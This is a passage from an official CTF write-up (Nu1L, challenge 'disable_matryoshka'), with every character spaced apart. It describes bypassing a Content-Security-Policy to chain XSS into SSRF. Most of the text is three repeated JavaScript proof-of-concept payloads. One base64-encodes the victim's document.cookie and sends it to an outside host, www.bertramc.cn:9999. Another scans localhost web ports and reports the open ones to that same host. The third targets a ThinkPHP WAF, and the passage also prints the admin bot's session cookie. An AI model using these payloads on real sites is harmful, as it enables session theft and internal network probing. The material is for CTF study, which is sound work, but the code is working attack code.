[27523] 2020-05-25_空指针5月内部赛-disable_matryoshka-官方WP

文档创建者:s7ckTeam
浏览次数:2
最后更新:2025-01-19
2020-05-25_空指针5月内部赛-disable_matryoshka-官方WP 5 - d i s a b l e _ m a t r y o s h k a - W P   N u 1 L   T e a m   N u 1 L   T e a m   2 0 2 0 - 0 5 - 2 5 d i s a b l e _ m a t r y o s h k a     W r i t e u p s c r i p t < s c r i p t   s r c = " h t t p : / / l o c a l h o s t / a p p . j s " > < / s c r i p t > S S R F X S S h t m l s p e c i a l c h a r s I P c o d e X S S p a y l o a d p a y l o a d C S P X S S C S P C o n t e n t - S e c u r i t y - P o l i c y :   d e f a u l t - s r c   ' n o n e ' ;   s t y l e - s r c   h t t p s : / / c d n j s . c l o u d f l a r e . c o m   h t t p s : / / s t a t i c . p i n g e n d o . c o m ; s c r i p t - s r c   ' s e l f '   h t t p s : / / c o d e . j q u e r y . c o m h t t p s : / / c d n j s . c l o u d f l a r e . c o m   h t t p s : / / s t a c k p a t h . b o o t s t r a p c d n . c o m ; c o n n e c t - s r c   ' s e l f '   h t t p : / / l o c a l h o s t : * ; i m g - s r c   d a t a : ; f o n t - s r c   h t t p s : / / c d n j s . c l o u d f l a r e . c o m h t t p s : / / c d n j s . c l o u d f l a r e . c o m ; 便 C S P C o n t e n t - S e c u r i t y - P o l i c y :   d e f a u l t - s r c   ' n o n e ' ;   s t y l e - s r c   ; s c r i p t - s r c   ' s e l f '   ; c o n n e c t - s r c   ' s e l f '   h t t p : / / l o c a l h o s t : * ; i m g - s r c   d a t a : ; c o n n e c t - s r c h t t p : / / l o c a l h o s t : * s c r i p t 线 B U G X S S X S S C S P     u n s a f e - i n l i n e X S S j a v a s c r i p t C S P   c o n n e c t - s r c X S S s c r i p t - s r c : s e l f c o n n e c t - s r c :   s e l f   h t t p : / / l o c a l h o s t : *
P O C ( f u n c t i o n ( w i n d o w , u n d e f i n e d )   {       f u n c t i o n   a j a x ( o p t i o n s )   {               / /               f u n c t i o n   s e t D a t a ( )   {                       / /                       f u n c t i o n   s e t O b j D a t a ( d a t a ,   p a r e n t N a m e )   {                               f u n c t i o n   e n c o d e D a t a ( n a m e ,   v a l u e ,   p a r e n t N a m e )   {                                       v a r   i t e m s   =   [ ] ;                                       n a m e   =   p a r e n t N a m e   = = =   u n d e f i n e d   ?   n a m e   :   p a r e n t N a m e   +   " [ "   +   n a m e   +   " ] " ;                                       i f   ( t y p e o f   v a l u e   = = =   " o b j e c t "   & &   v a l u e   ! = =   n u l l )   {                                               i t e m s   =   i t e m s . c o n c a t ( s e t O b j D a t a ( v a l u e ,   n a m e ) ) ;                                     }   e l s e   {                                               n a m e   =   e n c o d e U R I C o m p o n e n t ( n a m e ) ;                                               v a l u e   =   e n c o d e U R I C o m p o n e n t ( v a l u e ) ;                                               i t e m s . p u s h ( n a m e   +   " = "   +   v a l u e ) ;                                     }                                       r e t u r n   i t e m s ;                             }                               v a r   a r r   =   [ ] , v a l u e ;                               i f   ( O b j e c t . p r o t o t y p e . t o S t r i n g . c a l l ( d a t a )   = =   ' [ o b j e c t   A r r a y ] ' )   {                                       f o r   ( v a r   i   =   0 ,   l e n   =   d a t a . l e n g t h ;   i   <   l e n ;   i + + )   {                                               v a l u e   =   d a t a [ i ] ;                                               a r r   =   a r r . c o n c a t ( e n c o d e D a t a (   t y p e o f   v a l u e   = =   " o b j e c t " ? i : " " ,   v a l u e ,   p a r e n t N a m e ) ) ;                                     }                             }   e l s e   i f   ( O b j e c t . p r o t o t y p e . t o S t r i n g . c a l l ( d a t a )   = =   ' [ o b j e c t   O b j e c t ] ' )   {                                       f o r   ( v a r   k e y   i n   d a t a )   {                                               v a l u e   =   d a t a [ k e y ] ;                                               a r r   =   a r r . c o n c a t ( e n c o d e D a t a ( k e y ,   v a l u e ,   p a r e n t N a m e ) ) ;                                     }                             }                               r e t u r n   a r r ;                     } ;                       / / a = 1 & b = 2 ;                       f u n c t i o n   s e t S t r D a t a ( d a t a )   {                               v a r   a r r   =   d a t a . s p l i t ( " & " ) ;                               f o r   ( v a r   i   =   0 ,   l e n   =   a r r . l e n g t h ;   i   <   l e n ;   i + + )   {                                       n a m e   =   e n c o d e U R I C o m p o n e n t ( a r r [ i ] . s p l i t ( " = " ) [ 0 ] ) ;                                       v a l u e   =   e n c o d e U R I C o m p o n e n t ( a r r [ i ] . s p l i t ( " = " ) [ 1 ] ) ;                                       a r r [ i ]   =   n a m e   +   " = "   +   v a l u e ;                             }                               r e t u r n   a r r ;                     }                       i f   ( d a t a )   {                               i f   ( t y p e o f   d a t a   = = =   " s t r i n g " )   {
                                      d a t a   =   s e t S t r D a t a ( d a t a ) ;                             }   e l s e   i f   ( t y p e o f   d a t a   = = =   " o b j e c t " )   {                                       d a t a   =   s e t O b j D a t a ( d a t a ) ;                             }                               d a t a   =   d a t a . j o i n ( " & " ) . r e p l a c e ( " / % 2 0 / g " ,   " + " ) ;                               / / 使 g e t J S O N P U R L                               i f   ( t y p e   = = =   " g e t "   | |   d a t a T y p e   = = =   " j s o n p " )   {                                       u r l   + =   u r l . i n d e x O f ( " ? " )   >   - 1   ?   ( u r l . i n d e x O f ( " = " )   >   - 1   ?   " & "   +   d a t a   :   d a t a )   :   " ? "   +   d a t a ;                             }                     }             }               / /   J S O N P               f u n c t i o n   c r e a t e J s o n p ( )   {                       v a r   s c r i p t   =   d o c u m e n t . c r e a t e E l e m e n t ( " s c r i p t " ) ,                               t i m e N a m e   =   n e w   D a t e ( ) . g e t T i m e ( )   +   M a t h . r o u n d ( M a t h . r a n d o m ( )   *   1 0 0 0 ) ,                               c a l l b a c k   =   " J S O N P _ "   +   t i m e N a m e ;                       w i n d o w [ c a l l b a c k ]   =   f u n c t i o n ( d a t a )   {                               c l e a r T i m e o u t ( t i m e o u t _ f l a g ) ;                               d o c u m e n t . b o d y . r e m o v e C h i l d ( s c r i p t ) ;                               s u c c e s s ( d a t a ) ;                     }                       s c r i p t . s r c   =   u r l   +   ( u r l . i n d e x O f ( " ? " )   >   - 1   ?   " & "   :   " ? " )   +   " c a l l b a c k = "   +   c a l l b a c k ;                       s c r i p t . t y p e   =   " t e x t / j a v a s c r i p t " ;                       d o c u m e n t . b o d y . a p p e n d C h i l d ( s c r i p t ) ;                       s e t T i m e ( c a l l b a c k ,   s c r i p t ) ;             }               / /               f u n c t i o n   s e t T i m e ( c a l l b a c k ,   s c r i p t )   {                       i f   ( t i m e O u t   ! = =   u n d e f i n e d )   {                               t i m e o u t _ f l a g   =   s e t T i m e o u t ( f u n c t i o n ( )   {                                       i f   ( d a t a T y p e   = = =   " j s o n p " )   {                                               d e l e t e   w i n d o w [ c a l l b a c k ] ;                                               d o c u m e n t . b o d y . r e m o v e C h i l d ( s c r i p t ) ;                                     }   e l s e   {                                               t i m e o u t _ b o o l   =   t r u e ;                                               x h r   & &   x h r . a b o r t ( ) ;                                     }                                       c o n s o l e . l o g ( " t i m e o u t " ) ;                             } ,   t i m e O u t ) ;                     }             }               / /   X H R               f u n c t i o n   c r e a t e X H R ( )   {                       / / I E 6 X M L H t t p R e q u e s t M S X M L A c t i v e X                       / / X H R                       f u n c t i o n   g e t X H R ( )   {                               i f   ( w i n d o w . X M L H t t p R e q u e s t )   {                                       r e t u r n   n e w   X M L H t t p R e q u e s t ( ) ;                             }   e l s e   {                                       / / I E A c t i v e X                                       v a r   v e r s i o n s   =   [ " M i c r o s o f t " ,   " m s x m 3 " ,   " m s x m l 2 " ,   " m s x m l 1 " ] ;                                       f o r   ( v a r   i   =   0 ;   i   <   v e r s i o n s . l e n g t h ;   i + + )   {                                               t r y   {                                                       v a r   v e r s i o n   =   v e r s i o n s [ i ]   +   " . X M L H T T P " ;                                                       r e t u r n   n e w   A c t i v e X O b j e c t ( v e r s i o n ) ;                                             }   c a t c h   ( e )   { }                                     }                             }                     }                       / /                       x h r   =   g e t X H R ( ) ;                       x h r . o p e n ( t y p e ,   u r l ,   a s y n c ) ;                       / /                       i f   ( t y p e   = = =   " p o s t "   & &   ! c o n t e n t T y p e )   {                               / / p o s t c o n t e n t - T y p e   a p p l i c a t i o n / x - w w w - f o u r - u r l e n c o d e d                               x h r . s e t R e q u e s t H e a d e r ( " C o n t e n t - T y p e " ,   " a p p l i c a t i o n / x - w w w - f o r m - u r l e n c o d e d ; c h a r s e t = U T F - 8 " ) ;                     }   e l s e   i f   ( c o n t e n t T y p e )   {                               x h r . s e t R e q u e s t H e a d e r ( " C o n t e n t - T y p e " ,   c o n t e n t T y p e ) ;                     }                       / /                       x h r . o n r e a d y s t a t e c h a n g e   =   f u n c t i o n ( )   {                               i f   ( x h r . r e a d y S t a t e   = = =   4 )   {                                       i f   ( t i m e O u t   ! = =   u n d e f i n e d )   {                                               / / a b o r t ( ) o n r e a d y s t a t e c h a n g e                                               / / t i m e o u t _ b o o l                                               i f   ( t i m e o u t _ b o o l )   {                                                       r e t u r n ;                                             }                                               c l e a r T i m e o u t ( t i m e o u t _ f l a g ) ;                                     }                                       i f   ( ( x h r . s t a t u s   > =   2 0 0   & &   x h r . s t a t u s   <   3 0 0 )   | |   x h r . s t a t u s   = =   3 0 4 )   {                                               s u c c e s s ( x h r . r e s p o n s e T e x t ) ;                                     }   e l s e   {                                               e r r o r ( x h r . s t a t u s ,   x h r . s t a t u s T e x t ) ;                                     }                             }                     } ;                       / /                       x h r . s e n d ( t y p e   = = =   " g e t "   ?   n u l l   :   d a t a ) ;                       s e t T i m e ( ) ;   / /             }
              v a r   u r l   =   o p t i o n s . u r l   | |   " " ,   / /                       t y p e   =   ( o p t i o n s . t y p e   | |   " g e t " ) . t o L o w e r C a s e ( ) ,   / / , g e t                       d a t a   =   o p t i o n s . d a t a   | |   n u l l ,   / /                       c o n t e n t T y p e   =   o p t i o n s . c o n t e n t T y p e   | |   " " ,   / /                       d a t a T y p e   =   o p t i o n s . d a t a T y p e   | |   " " ,   / /                       a s y n c   =   o p t i o n s . a s y n c   = = =   u n d e f i n e d   ?   t r u e   :   o p t i o n s . a s y n c ,   / / t r u e .                       t i m e O u t   =   o p t i o n s . t i m e O u t ,   / /                       b e f o r e   =   o p t i o n s . b e f o r e   | |   f u n c t i o n ( )   { } ,   / /                       e r r o r   =   o p t i o n s . e r r o r   | |   f u n c t i o n ( )   { } ,   / /                       s u c c e s s   =   o p t i o n s . s u c c e s s   | |   f u n c t i o n ( )   { } ;   / /               v a r   t i m e o u t _ b o o l   =   f a l s e ,   / /                       t i m e o u t _ f l a g   =   n u l l ,   / /                       x h r   =   n u l l ;   / / x h r               s e t D a t a ( ) ;               b e f o r e ( ) ;               i f   ( d a t a T y p e   = = =   " j s o n p " )   {                       c r e a t e J s o n p ( ) ;             }   e l s e   {                       c r e a t e X H R ( ) ;             }     }       w i n d o w . a j a x   =   a j a x ; } ) ( w i n d o w ) ; v a r   u r l   =   " h t t p : / / 1 8 . 1 6 3 . 9 1 . 2 5 2 / i n d e x . p h p ? a c t i o n = w e b s i t e & s u b m i t = c o p y & u r l = h t t p % 3 a % 2 f % 2 f w w w . b e r t r a m c . c n % 3 a 9 9 9 9 % 2 f % 3 f c o o k i e % 3 d " + b t o a ( t o p . d o c u m e n t . c o o k i e ) ; $ . a j a x ( {       t y p e : ' G E T ' ,       u r l : u r l ,       s u c c e s s : f u n c t i o n ( r e s u l t ) {               c o n s o l e . l o g ( r e s u l t ) ;     } } ) ; j a v a s c r i p t c o o k i e s c r i p t < s c r i p t   s r c = " h t t p : / / " > < / s c r i p t > r e p o r t B O T C O O K I E P H P S E S S I D = k 9 r v 2 d c d b q t m h r c 8 3 4 v 8 g k v m 4 3 ;   a d m i n = d i s a b l e _ m a t r y o s h k a C O O K I E a d m i n a d m i n / C O O K I E c o d e O r z l o c a l h o s t B O T B O T P O C 2 ( f u n c t i o n ( w i n d o w , u n d e f i n e d )   {       f u n c t i o n   a j a x ( o p t i o n s )   {               / /               f u n c t i o n   s e t D a t a ( )   {                       / /                       f u n c t i o n   s e t O b j D a t a ( d a t a ,   p a r e n t N a m e )   {                               f u n c t i o n   e n c o d e D a t a ( n a m e ,   v a l u e ,   p a r e n t N a m e )   {                                       v a r   i t e m s   =   [ ] ;                                       n a m e   =   p a r e n t N a m e   = = =   u n d e f i n e d   ?   n a m e   :   p a r e n t N a m e   +   " [ "   +   n a m e   +   " ] " ;                                       i f   ( t y p e o f   v a l u e   = = =   " o b j e c t "   & &   v a l u e   ! = =   n u l l )   {                                               i t e m s   =   i t e m s . c o n c a t ( s e t O b j D a t a ( v a l u e ,   n a m e ) ) ;                                     }   e l s e   {                                               n a m e   =   e n c o d e U R I C o m p o n e n t ( n a m e ) ;                                               v a l u e   =   e n c o d e U R I C o m p o n e n t ( v a l u e ) ;                                               i t e m s . p u s h ( n a m e   +   " = "   +   v a l u e ) ;                                     }                                       r e t u r n   i t e m s ;                             }                               v a r   a r r   =   [ ] , v a l u e ;                               i f   ( O b j e c t . p r o t o t y p e . t o S t r i n g . c a l l ( d a t a )   = =   ' [ o b j e c t   A r r a y ] ' )   {                                       f o r   ( v a r   i   =   0 ,   l e n   =   d a t a . l e n g t h ;   i   <   l e n ;   i + + )   {                                               v a l u e   =   d a t a [ i ] ;                                               a r r   =   a r r . c o n c a t ( e n c o d e D a t a (   t y p e o f   v a l u e   = =   " o b j e c t " ? i : " " ,   v a l u e ,   p a r e n t N a m e ) ) ;                                     }                             }   e l s e   i f   ( O b j e c t . p r o t o t y p e . t o S t r i n g . c a l l ( d a t a )   = =   ' [ o b j e c t   O b j e c t ] ' )   {                                       f o r   ( v a r   k e y   i n   d a t a )   {                                               v a l u e   =   d a t a [ k e y ] ;                                               a r r   =   a r r . c o n c a t ( e n c o d e D a t a ( k e y ,   v a l u e ,   p a r e n t N a m e ) ) ;                                     }                             }                               r e t u r n   a r r ;                     } ;                       / / a = 1 & b = 2 ;                       f u n c t i o n   s e t S t r D a t a ( d a t a )   {                               v a r   a r r   =   d a t a . s p l i t ( " & " ) ;                               f o r   ( v a r   i   =   0 ,   l e n   =   a r r . l e n g t h ;   i   <   l e n ;   i + + )   {
                                      n a m e   =   e n c o d e U R I C o m p o n e n t ( a r r [ i ] . s p l i t ( " = " ) [ 0 ] ) ;                                       v a l u e   =   e n c o d e U R I C o m p o n e n t ( a r r [ i ] . s p l i t ( " = " ) [ 1 ] ) ;                                       a r r [ i ]   =   n a m e   +   " = "   +   v a l u e ;                             }                               r e t u r n   a r r ;                     }                       i f   ( d a t a )   {                               i f   ( t y p e o f   d a t a   = = =   " s t r i n g " )   {                                       d a t a   =   s e t S t r D a t a ( d a t a ) ;                             }   e l s e   i f   ( t y p e o f   d a t a   = = =   " o b j e c t " )   {                                       d a t a   =   s e t O b j D a t a ( d a t a ) ;                             }                               d a t a   =   d a t a . j o i n ( " & " ) . r e p l a c e ( " / % 2 0 / g " ,   " + " ) ;                               / / 使 g e t J S O N P U R L                               i f   ( t y p e   = = =   " g e t "   | |   d a t a T y p e   = = =   " j s o n p " )   {                                       u r l   + =   u r l . i n d e x O f ( " ? " )   >   - 1   ?   ( u r l . i n d e x O f ( " = " )   >   - 1   ?   " & "   +   d a t a   :   d a t a )   :   " ? "   +   d a t a ;                             }                     }             }               / /   J S O N P               f u n c t i o n   c r e a t e J s o n p ( )   {                       v a r   s c r i p t   =   d o c u m e n t . c r e a t e E l e m e n t ( " s c r i p t " ) ,                               t i m e N a m e   =   n e w   D a t e ( ) . g e t T i m e ( )   +   M a t h . r o u n d ( M a t h . r a n d o m ( )   *   1 0 0 0 ) ,                               c a l l b a c k   =   " J S O N P _ "   +   t i m e N a m e ;                       w i n d o w [ c a l l b a c k ]   =   f u n c t i o n ( d a t a )   {                               c l e a r T i m e o u t ( t i m e o u t _ f l a g ) ;                               d o c u m e n t . b o d y . r e m o v e C h i l d ( s c r i p t ) ;                               s u c c e s s ( d a t a ) ;                     }                       s c r i p t . s r c   =   u r l   +   ( u r l . i n d e x O f ( " ? " )   >   - 1   ?   " & "   :   " ? " )   +   " c a l l b a c k = "   +   c a l l b a c k ;                       s c r i p t . t y p e   =   " t e x t / j a v a s c r i p t " ;                       d o c u m e n t . b o d y . a p p e n d C h i l d ( s c r i p t ) ;                       s e t T i m e ( c a l l b a c k ,   s c r i p t ) ;             }               / /               f u n c t i o n   s e t T i m e ( c a l l b a c k ,   s c r i p t )   {                       i f   ( t i m e O u t   ! = =   u n d e f i n e d )   {                               t i m e o u t _ f l a g   =   s e t T i m e o u t ( f u n c t i o n ( )   {                                       i f   ( d a t a T y p e   = = =   " j s o n p " )   {                                               d e l e t e   w i n d o w [ c a l l b a c k ] ;                                               d o c u m e n t . b o d y . r e m o v e C h i l d ( s c r i p t ) ;                                     }   e l s e   {                                               t i m e o u t _ b o o l   =   t r u e ;                                               x h r   & &   x h r . a b o r t ( ) ;                                     }                                       c o n s o l e . l o g ( " t i m e o u t " ) ;                             } ,   t i m e O u t ) ;                     }             }               / /   X H R               f u n c t i o n   c r e a t e X H R ( )   {                       / / I E 6 X M L H t t p R e q u e s t M S X M L A c t i v e X                       / / X H R                       f u n c t i o n   g e t X H R ( )   {                               i f   ( w i n d o w . X M L H t t p R e q u e s t )   {                                       r e t u r n   n e w   X M L H t t p R e q u e s t ( ) ;                             }   e l s e   {                                       / / I E A c t i v e X                                       v a r   v e r s i o n s   =   [ " M i c r o s o f t " ,   " m s x m 3 " ,   " m s x m l 2 " ,   " m s x m l 1 " ] ;                                       f o r   ( v a r   i   =   0 ;   i   <   v e r s i o n s . l e n g t h ;   i + + )   {                                               t r y   {                                                       v a r   v e r s i o n   =   v e r s i o n s [ i ]   +   " . X M L H T T P " ;                                                       r e t u r n   n e w   A c t i v e X O b j e c t ( v e r s i o n ) ;                                             }   c a t c h   ( e )   { }                                     }                             }                     }                       / /                       x h r   =   g e t X H R ( ) ;                       x h r . o p e n ( t y p e ,   u r l ,   a s y n c ) ;                       / /                       i f   ( t y p e   = = =   " p o s t "   & &   ! c o n t e n t T y p e )   {                               / / p o s t c o n t e n t - T y p e   a p p l i c a t i o n / x - w w w - f o u r - u r l e n c o d e d                               x h r . s e t R e q u e s t H e a d e r ( " C o n t e n t - T y p e " ,   " a p p l i c a t i o n / x - w w w - f o r m - u r l e n c o d e d ; c h a r s e t = U T F - 8 " ) ;                     }   e l s e   i f   ( c o n t e n t T y p e )   {                               x h r . s e t R e q u e s t H e a d e r ( " C o n t e n t - T y p e " ,   c o n t e n t T y p e ) ;                     }                       / /                       x h r . o n r e a d y s t a t e c h a n g e   =   f u n c t i o n ( )   {                               i f   ( x h r . r e a d y S t a t e   = = =   4 )   {                                       i f   ( t i m e O u t   ! = =   u n d e f i n e d )   {                                               / / a b o r t ( ) o n r e a d y s t a t e c h a n g e                                               / / t i m e o u t _ b o o l                                               i f   ( t i m e o u t _ b o o l )   {                                                       r e t u r n ;                                             }                                               c l e a r T i m e o u t ( t i m e o u t _ f l a g ) ;                                     }                                       i f   ( ( x h r . s t a t u s   > =   2 0 0   & &   x h r . s t a t u s   <   3 0 0 )   | |   x h r . s t a t u s   = =   3 0 4 )   {                                               s u c c e s s ( x h r . r e s p o n s e T e x t ) ;
                                    }   e l s e   {                                               e r r o r ( x h r . s t a t u s ,   x h r . s t a t u s T e x t ) ;                                     }                             }                     } ;                       / /                       x h r . s e n d ( t y p e   = = =   " g e t "   ?   n u l l   :   d a t a ) ;                       s e t T i m e ( ) ;   / /             }               v a r   u r l   =   o p t i o n s . u r l   | |   " " ,   / /                       t y p e   =   ( o p t i o n s . t y p e   | |   " g e t " ) . t o L o w e r C a s e ( ) ,   / / , g e t                       d a t a   =   o p t i o n s . d a t a   | |   n u l l ,   / /                       c o n t e n t T y p e   =   o p t i o n s . c o n t e n t T y p e   | |   " " ,   / /                       d a t a T y p e   =   o p t i o n s . d a t a T y p e   | |   " " ,   / /                       a s y n c   =   o p t i o n s . a s y n c   = = =   u n d e f i n e d   ?   t r u e   :   o p t i o n s . a s y n c ,   / / t r u e .                       t i m e O u t   =   o p t i o n s . t i m e O u t ,   / /                       b e f o r e   =   o p t i o n s . b e f o r e   | |   f u n c t i o n ( )   { } ,   / /                       e r r o r   =   o p t i o n s . e r r o r   | |   f u n c t i o n ( )   { } ,   / /                       s u c c e s s   =   o p t i o n s . s u c c e s s   | |   f u n c t i o n ( )   { } ;   / /               v a r   t i m e o u t _ b o o l   =   f a l s e ,   / /                       t i m e o u t _ f l a g   =   n u l l ,   / /                       x h r   =   n u l l ;   / / x h r               s e t D a t a ( ) ;               b e f o r e ( ) ;               i f   ( d a t a T y p e   = = =   " j s o n p " )   {                       c r e a t e J s o n p ( ) ;             }   e l s e   {                       c r e a t e X H R ( ) ;             }     }       w i n d o w . a j a x   =   a j a x ; } ) ( w i n d o w ) ; w e b _ p o r t   =   [ ' 8 0 ' , ' 8 0 8 0 ' , ' 8 8 8 8 ' , ' 8 0 9 0 ' , ' 8 0 8 1 ' , ' 9 0 8 0 ' , ' 9 0 9 0 ' , ' 4 4 3 ' , ' 7 0 0 1 ' ] s u c c e s s _ p o r t   =   [ ] f o r ( v a r   i = 0 ; i < w e b _ p o r t . l e n g t h ; i + + ) {       u r l   =   " h t t p : / / l o c a l h o s t : " + w e b _ p o r t [ i ] + " / " ;       / / c o n s o l e . l o g ( u r l ) ;       t r y {               a j a x ( {                       u r l : u r l ,                       t y p e : " g e t " ,                       a s y n c : f a l s e ,                       t i m e O u t : 2 0 0 0 ,                       s u c c e s s : f u n c t i o n ( r e s u l t ) {                               / / c o n s o l e . l o g ( r e s u l t ) ;                               s u c c e s s _ p o r t . p u s h ( w e b _ p o r t [ i ] ) ;                     } ,                       e r r o r : f u n c t i o n ( ) {                               c o n s o l e . l o g ( " c o n n e c t   f a i l d " ) ;                     }             } ) ;     } c a t c h ( e ) {               / / c o n s o l e . l o g ( e ) ;     } } v a r   p u r l   =   " h t t p : / / 1 8 . 1 6 3 . 9 1 . 2 5 2 / i n d e x . p h p ? a c t i o n = w e b s i t e & s u b m i t = c o p y & u r l = h t t p % 3 a % 2 f % 2 f w w w . b e r t r a m c . c n % 3 a 9 9 9 9 % 2 f % 3 f p o r t % 3 d " + b t o a ( s u c c e s s _ p o r t . t o S t r i n g ( ) ) ; c o n s o l e . l o g ( p u r l ) ; a j a x ( {       u r l : p u r l ,       t y p e : ' g e t ' ,       a s y n c : t r u e ,       s u c c e s s : f u n c t i o n ( r e s u l t ) {               c o n s o l e . l o g ( ) ;     } } ) ; 8 0 8 0 P O C 3 T H I N K P H P W A F ( f u n c t i o n ( w i n d o w , u n d e f i n e d )   {       f u n c t i o n   a j a x ( o p t i o n s )   {               / /               f u n c t i o n   s e t D a t a ( )   {                       / /                       f u n c t i o n   s e t O b j D a t a ( d a t a ,   p a r e n t N a m e )   {                               f u n c t i o n   e n c o d e D a t a ( n a m e ,   v a l u e ,   p a r e n t N a m e )   {                                       v a r   i t e m s   =   [ ] ;                                       n a m e   =   p a r e n t N a m e   = = =   u n d e f i n e d   ?   n a m e   :   p a r e n t N a m e   +   " [ "   +   n a m e   +   " ] " ;                                       i f   ( t y p e o f   v a l u e   = = =   " o b j e c t "   & &   v a l u e   ! = =   n u l l )   {                                               i t e m s   =   i t e m s . c o n c a t ( s e t O b j D a t a ( v a l u e ,   n a m e ) ) ;                                     }   e l s e   {                                               n a m e   =   e n c o d e U R I C o m p o n e n t ( n a m e ) ;                                               v a l u e   =   e n c o d e U R I C o m p o n e n t ( v a l u e ) ;                                               i t e m s . p u s h ( n a m e   +   " = "   +   v a l u e ) ;                                     }                                       r e t u r n   i t e m s ;                             }
                              v a r   a r r   =   [ ] , v a l u e ;                               i f   ( O b j e c t . p r o t o t y p e . t o S t r i n g . c a l l ( d a t a )   = =   ' [ o b j e c t   A r r a y ] ' )   {                                       f o r   ( v a r   i   =   0 ,   l e n   =   d a t a . l e n g t h ;   i   <   l e n ;   i + + )   {                                               v a l u e   =   d a t a [ i ] ;                                               a r r   =   a r r . c o n c a t ( e n c o d e D a t a (   t y p e o f   v a l u e   = =   " o b j e c t " ? i : " " ,   v a l u e ,   p a r e n t N a m e ) ) ;                                     }                             }   e l s e   i f   ( O b j e c t . p r o t o t y p e . t o S t r i n g . c a l l ( d a t a )   = =   ' [ o b j e c t   O b j e c t ] ' )   {                                       f o r   ( v a r   k e y   i n   d a t a )   {                                               v a l u e   =   d a t a [ k e y ] ;                                               a r r   =   a r r . c o n c a t ( e n c o d e D a t a ( k e y ,   v a l u e ,   p a r e n t N a m e ) ) ;                                     }                             }                               r e t u r n   a r r ;                     } ;                       / / a = 1 & b = 2 ;                       f u n c t i o n   s e t S t r D a t a ( d a t a )   {                               v a r   a r r   =   d a t a . s p l i t ( " & " ) ;                               f o r   ( v a r   i   =   0 ,   l e n   =   a r r . l e n g t h ;   i   <   l e n ;   i + + )   {                                       n a m e   =   e n c o d e U R I C o m p o n e n t ( a r r [ i ] . s p l i t ( " = " ) [ 0 ] ) ;                                       v a l u e   =   e n c o d e U R I C o m p o n e n t ( a r r [ i ] . s p l i t ( " = " ) [ 1 ] ) ;                                       a r r [ i ]   =   n a m e   +   " = "   +   v a l u e ;                             }                               r e t u r n   a r r ;                     }                       i f   ( d a t a )   {                               i f   ( t y p e o f   d a t a   = = =   " s t r i n g " )   {                                       d a t a   =   s e t S t r D a t a ( d a t a ) ;                             }   e l s e   i f   ( t y p e o f   d a t a   = = =   " o b j e c t " )   {                                       d a t a   =   s e t O b j D a t a ( d a t a ) ;                             }                               d a t a   =   d a t a . j o i n ( " & " ) . r e p l a c e ( " / % 2 0 / g " ,   " + " ) ;                               / / 使 g e t J S O N P U R L                               i f   ( t y p e   = = =   " g e t "   | |   d a t a T y p e   = = =   " j s o n p " )   {                                       u r l   + =   u r l . i n d e x O f ( " ? " )   >   - 1   ?   ( u r l . i n d e x O f ( " = " )   >   - 1   ?   " & "   +   d a t a   :   d a t a )   :   " ? "   +   d a t a ;                             }                     }             }               / /   J S O N P               f u n c t i o n   c r e a t e J s o n p ( )   {                       v a r   s c r i p t   =   d o c u m e n t . c r e a t e E l e m e n t ( " s c r i p t " ) ,                               t i m e N a m e   =   n e w   D a t e ( ) . g e t T i m e ( )   +   M a t h . r o u n d ( M a t h . r a n d o m ( )   *   1 0 0 0 ) ,                               c a l l b a c k   =   " J S O N P _ "   +   t i m e N a m e ;                       w i n d o w [ c a l l b a c k ]   =   f u n c t i o n ( d a t a )   {                               c l e a r T i m e o u t ( t i m e o u t _ f l a g ) ;                               d o c u m e n t . b o d y . r e m o v e C h i l d ( s c r i p t ) ;                               s u c c e s s ( d a t a ) ;                     }                       s c r i p t . s r c   =   u r l   +   ( u r l . i n d e x O f ( " ? " )   >   - 1   ?   " & "   :   " ? " )   +   " c a l l b a c k = "   +   c a l l b a c k ;                       s c r i p t . t y p e   =   " t e x t / j a v a s c r i p t " ;                       d o c u m e n t . b o d y . a p p e n d C h i l d ( s c r i p t ) ;                       s e t T i m e ( c a l l b a c k ,   s c r i p t ) ;             }               / /               f u n c t i o n   s e t T i m e ( c a l l b a c k ,   s c r i p t )   {                       i f   ( t i m e O u t   ! = =   u n d e f i n e d )   {                               t i m e o u t _ f l a g   =   s e t T i m e o u t ( f u n c t i o n ( )   {                                       i f   ( d a t a T y p e   = = =   " j s o n p " )   {                                               d e l e t e   w i n d o w [ c a l l b a c k ] ;                                               d o c u m e n t . b o d y . r e m o v e C h i l d ( s c r i p t ) ;                                     }   e l s e   {                                               t i m e o u t _ b o o l   =   t r u e ;                                               x h r   & &   x h r . a b o r t ( ) ;                                     }                                       c o n s o l e . l o g ( " t i m e o u t " ) ;                             } ,   t i m e O u t ) ;                     }             }               / /   X H R               f u n c t i o n   c r e a t e X H R ( )   {                       / / I E 6 X M L H t t p R e q u e s t M S X M L A c t i v e X                       / / X H R                       f u n c t i o n   g e t X H R ( )   {                               i f   ( w i n d o w . X M L H t t p R e q u e s t )   {                                       r e t u r n   n e w   X M L H t t p R e q u e s t ( ) ;                             }   e l s e   {                                       / / I E A c t i v e X                                       v a r   v e r s i o n s   =   [ " M i c r o s o f t " ,   " m s x m 3 " ,   " m s x m l 2 " ,   " m s x m l 1 " ] ;                                       f o r   ( v a r   i   =   0 ;   i   <   v e r s i o n s . l e n g t h ;   i + + )   {                                               t r y   {                                                       v a r   v e r s i o n   =   v e r s i o n s [ i ]   +   " . X M L H T T P " ;                                                       r e t u r n   n e w   A c t i v e X O b j e c t ( v e r s i o n ) ;                                             }   c a t c h   ( e )   { }                                     }                             }                     }                       / /                       x h r   =   g e t X H R ( ) ;                       x h r . o p e n ( t y p e ,   u r l ,   a s y n c ) ;                       / /                       i f   ( t y p e   = = =   " p o s t "   & &   ! c o n t e n t T y p e )   {                               / / p o s t c o n t e n t - T y p e   a p p l i c a t i o n / x - w w w - f o u r - u r l e n c o d e d
                              x h r . s e t R e q u e s t H e a d e r ( " C o n t e n t - T y p e " ,   " a p p l i c a t i o n / x - w w w - f o r m - u r l e n c o d e d ; c h a r s e t = U T F - 8 " ) ;                     }   e l s e   i f   ( c o n t e n t T y p e )   {                               x h r . s e t R e q u e s t H e a d e r ( " C o n t e n t - T y p e " ,   c o n t e n t T y p e ) ;                     }                       / /                       x h r . o n r e a d y s t a t e c h a n g e   =   f u n c t i o n ( )   {                               i f   ( x h r . r e a d y S t a t e   = = =   4 )   {                                       i f   ( t i m e O u t   ! = =   u n d e f i n e d )   {                                               / / a b o r t ( ) o n r e a d y s t a t e c h a n g e                                               / / t i m e o u t _ b o o l                                               i f   ( t i m e o u t _ b o o l )   {                                                       r e t u r n ;                                             }                                               c l e a r T i m e o u t ( t i m e o u t _ f l a g ) ;                                     }                                       i f   ( ( x h r . s t a t u s   > =   2 0 0   & &   x h r . s t a t u s   <   3 0 0 